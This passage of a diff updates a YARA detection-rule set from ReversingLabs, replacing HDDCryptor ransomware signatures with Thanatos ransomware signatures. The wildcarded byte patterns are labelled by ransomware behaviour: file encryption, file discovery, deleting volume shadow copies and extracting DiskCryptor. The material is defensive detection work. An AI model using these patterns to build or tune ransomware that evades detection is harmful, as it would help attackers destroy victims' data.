-            ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D
-            8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 53 8F 45 ?? E8 ?? ?? ?? ?? 39 44 24 ?? 74 ?? 89 44
-            24 ?? 83 EC ?? 2B C3 58 74 ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 59 89 44 24 ?? 83 EC ?? 2B
-            C3 58 59 74 ?? 68 ?? ?? ?? ?? 50 E8
+		$encrypt_files_p3 = {
+            48 ?? 8B FF 66 8B 10 83 C0 ?? 66 85 D2 75 ?? 2B C1 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51
+            8D 14 00 8B 83 ?? ?? ?? ?? 52 56 50 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
+            51 6A ?? 68 ?? ?? ?? ?? 52 FF D7 8B 93 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ??
+            8D 4D ?? 51 52 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ??
+            ?? 51 FF D7 8B 8B ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50
+            51 FF D7 8B B5 ?? ?? ?? ?? 6A ?? 33 C9 51 51 B8 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            85 C0 74 ?? 33 DB EB ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ??
+            52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
+            ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 8B 95
+            ?? ?? ?? ?? 83 C4 ?? 52 FF 15 ?? ?? ?? ?? 33 C9 51 51 33 C0 51 50 8B 83 ?? ?? ?? ??
+            50 FF 15 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 56
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
+            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
-		$main_8 = {
-            68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ??
-            ?? 8D 4C 24 ?? 6A ?? 51 FF D6 83 C4 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 FF D6 83 C4
-            ?? C6 00 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F
-            5E 85 C0 74 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74
-            ?? 68 ?? ?? ?? ?? 50 E8
+		$delete_volumes_snapshots_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 33 FF 57 57 89
+            85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 57 68 ??
+            ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF D6 57 68 ?? ?? ?? ?? FF
+            D6 57 57 8D 8D ?? ?? ?? ?? 51 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ??
+            6A ?? 57 57 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F
+            84 ?? ?? ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ??
+            ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 33 FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D 9B ?? ?? ?? ?? 8A 08 40 84
+            C9 75 ?? 2B C2 57 8D 95 ?? ?? ?? ?? 52 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ??
+            ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 88 0E E8 ?? ?? ?? ?? 8D B5 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ??
+            ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ??
+            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ??
+            ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF
+            15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8B FF 66 8B 10 66 3B 11 75 ??
+            66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0
         }
-		$entrypoint_all = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ??
-            ?? 83 EC ?? 53 56 57 89 65 ?? 33 DB 89 5D ?? 6A ?? FF 15 ?? ?? ?? ?? 59 83 0D ?? ??
-            ?? ?? ?? 83 0D ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 08 FF 15 ?? ??
-            ?? ?? 8B 0D ?? ?? ?? ?? 89 08 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 39
-            1D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 35 ?? ?? ??
-            ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 15
+		$delete_volumes_snapshots_p2 = {
+            EB ?? 1B C0 83 D8 ?? 85 C0 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 89 85
+            ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? EB ?? 8D 64 24 ?? 8B BD ?? ?? ?? ?? BA ?? ?? ?? ?? 8B
+            CE D3 E2 85 95 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 4E ?? 66 89 8D ?? ?? ?? ?? 33 C9 6A
+            ?? 51 8D 95 ?? ?? ?? ?? 52 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 9F ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83
+            C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ??
+            ?? ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75 ?? 33
+            FF 57 8D 8D ?? ?? ?? ?? 51 2B C2 50 83 EC ?? B8 ?? ?? ?? ?? 8B CC 89 A5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72
+            ?? 8B 00 50 53 FF 15 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ??
+            ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 89 B5 ??
+            ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 53 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 8B B5 ?? ?? ?? ?? 46 89 B5 ?? ?? ?? ?? 83 FE ?? 0F 8C ?? ?? ?? ?? EB ?? 57
+            8D 9F ?? ?? ?? ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B
+            4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($entrypoint_all at pe.entry_point) and ($main_1 or $main_2 or ($main_3 and $start_service_3) or $main_4 or $main_5 or ($main_6 and ($set_reg_key_6 or $download_tor_6)) or $main_7 or $main_8)
+		uint16(0)==0x5A4D and ( all of ($delete_volumes_snapshots_p*)) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Hddcryptor : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Thanatos : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HDDCryptor ransomware."
+		description = "Yara rule that detects Thanatos ransomware."
 		author = "ReversingLabs"
-		id = "2c6a8ca3-0f7a-52b7-af6d-74fa9407feca"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "190adbd0-30a7-5619-ab70-3ab031ece2f7"
+		date = "2020-11-13"
+		modified = "2020-11-13"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HDDCryptor.yara#L1-L157"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "47915f315bb4956507362f56024f5632cb1bcec569ceaf77fe9d7cb9c25d1d8a"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Thanatos.yara#L1-L85"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "a51fa9cf1a08e4cd252a8b385be3bfde909585e2a799baaede977e40ecff5313"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34332,127 +35957,81 @@ rule REVERSINGLABS_Win32_Ransomware_Hddcryptor : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HDDCryptor"
+		tc_detection_name = "Thanatos"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$deploy_components = {
-            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 6A ?? 53 0F 85 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ??
-            ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB
-            E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ??
-            ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ??
-            ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B
-            F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F
-            AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B F8 BA ?? ?? ??
-            ?? 0F AF FE 8B CB E8
-        }
-		$get_shares_info = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? EB ?? FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
-            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ??
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            FF 15
-        }
-		$encrypt_discs = {
-            68 ?? ?? ?? ?? FF 74 24 ?? 0F 57 C0 66 0F 7F 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 33 C9 EB ?? 8D 49 ?? 0F B7 81 ?? ?? ?? ?? 66 89 84 0C ?? ?? ?? ?? 8D 49 ?? 66
-            85 C0 75 ?? 8D 8C 24 ?? ?? ?? ?? 83 C1 ?? 66 8B 41 ?? 8D 49 ?? 66 85 C0 75 ?? A1 ??
-            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
-            ?? A1 ?? ?? ?? ?? 89 41 ?? 0F B7 05 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 66 89 41
-            ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
-            D7 B9 ?? ?? ?? ?? E8
-        }
-		$create_diskcryptor_service = {
-            83 EC ?? 53 55 56 57 68 ?? ?? ?? ?? 33 ED 8B F2 55 55 8B F9 FF 15 ?? ?? ?? ?? 85 C0
-            74 ?? 55 55 55 55 55 FF 74 24 ?? 55 6A ?? 5B 53 6A ?? 68 ?? ?? ?? ?? 56 57 50 FF 15
-            ?? ?? ?? ?? 8B F0 89 5C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 33
-            C9 89 44 24 ?? 41 8D 44 24 ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 53 56 89 4C 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B C6 5F 5E 5D 5B 83 C4 ??
-            C3
-        }
-		$extract_diskcryptor_from_resources = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 8B B4 24 ?? ??
-            ?? ?? 33 C0 57 50 89 54 24 ?? 8B E9 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B D8 56
-            0F B7 C9 51 53 FF 15 ?? ?? ?? ?? 8B F0 56 53 FF 15 ?? ?? ?? ?? 56 53 8B F8 FF 15 ??
-            ?? ?? ?? 57 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 E8 ?? ?? ?? ?? 59 FF 74
-            24 ?? 8B D8 56 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 33 FF 83 C4 ?? 8B CF 85 D2 7E ?? 8A 04
-            19 3C ?? 7C ?? 3C ?? 7F ?? 04 ?? 3C ?? 76 ?? 2C ?? 88 04 19 41 3B CA 7C ?? 33 C0 68
-            ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F5 66 8B 45
-            ?? 83 C5 ?? 66 3B C7 75 ?? 8D 7C 24 ?? 2B EE 83 EF ?? 33 C9 66 8B 47 ?? 83 C7 ?? 66
-            3B C1 75 ?? 8B CD C1 E9 ?? F3 A5 8B CD 83 E1 ?? F3 A4 8D 7C 24 ?? 83 EF ?? 33 ED 66
-            8B 47 ?? 8D 7F ?? 66 3B C5 75 ?? A1 ?? ?? ?? ?? 8B 54 24 ?? 8B F2 89 07 66 8B 02 83
-            C2 ?? 66 3B C5 75 ?? 8D 7C 24 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C5 75 ??
-            8B CA 8D 44 24 ?? C1 E9 ?? F3 A5 55 55 6A ?? 55 55 8B CA 83 E1 ?? 68 ?? ?? ?? ?? F3
-            A4 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 55 8D 44 24 ?? 50 FF 74 24 ?? 53 56 FF
-            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 40 EB ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
-            C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
-        }
-		$encrypt_files_using_diskcryptor_p1 = {
-            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
-            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
-            ?? ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 83 7D ?? ?? 73 ?? B9
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 8B 75 ?? BA ?? ?? ?? ?? 8B 4E ?? 8A 01 41 88 02 42 84 C0 75 ?? 8B 4E ?? BA
-            ?? ?? ?? ?? 8A 01 41 88 02 42 84 C0 75 ?? 6A ?? 59 BE ?? ?? ?? ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ??
-            33 F6 8D 84 24 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 89 B4 24 ?? ?? ?? ??
-            8D 4C 24 ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 7C 24 ?? ?? 8D 44 24 ?? 56 0F 43 44 24 ?? 56 6A ?? 56 56 68 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 33 DB C7 44
+		$find_files = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 50 89 85
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ??
+            ?? 89 85 ?? ?? ?? ?? EB ?? 8D 49 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? C6 03 ?? FF
+            15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ??
+            ?? ?? F7 F9 52 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 4F 75 ?? 8B 95 ?? ?? ??
+            ?? 52 8D 85 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF D6 F6 85 ?? ?? ?? ?? ??
+            74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D7 85 C0 0F 84 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2
+            50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D BD
+            ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B F8 72 ?? 8B
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 74 ?? 53 8D 9D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ??
+            ?? 8B E5 5D C3
         }
-		$encrypt_files_using_diskcryptor_p2 = {
-            24 ?? ?? ?? ?? ?? 50 89 5C 24 ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 53 FF 15 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B D0 59 59 85 D2
-            75 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 59 8B D0 8D BC 24 ?? ?? ?? ?? 83 EF ?? 66
-            8B 47 ?? 8D 7F ?? 66 3B C3 75 ?? A1 ?? ?? ?? ?? 83 C2 ?? 89 07 8B F2 66 8B 02 83 C2
-            ?? 66 3B C3 75 ?? 8D BC 24 ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3
-            75 ?? 8B CA 8D 84 24 ?? ?? ?? ?? C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 51 50 83 EC ??
-            8B CC 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 C6 84
-            24 ?? ?? ?? ?? ?? 83 7E ?? ?? 72 ?? 8B 36 83 EC ?? 8B CC 68 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8B D6 8B C8
-            E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 53 6A ?? 8D 4C 24 ??
-            C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 F6 74 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B F3 EB ?? FF 15 ?? ?? ?? ?? 8B F0 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ??
-            8B C6 EB ?? 53 6A ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 33 C0 8B 8C 24 ?? ?? ?? ?? 64 89 0D
-            ?? ?? ?? ?? 59 5F 5E 5B 8B 8C 24 ?? ?? ?? ?? 33 CC E8 ?? ?? ?? ?? 8B E5 5D C3
+		$encrypt_files_p1 = {
+            55 8B EC 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 6A ?? 53 8B F0 53 8D 45 ?? 33 FF 50
+            89 7D ?? 89 5D ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55
+            ?? 8D 4D ?? 51 53 53 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B
+            C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 53 2B C2 50 8B 45 ?? 56 50 FF 15 ?? ?? ?? ?? 85 C0
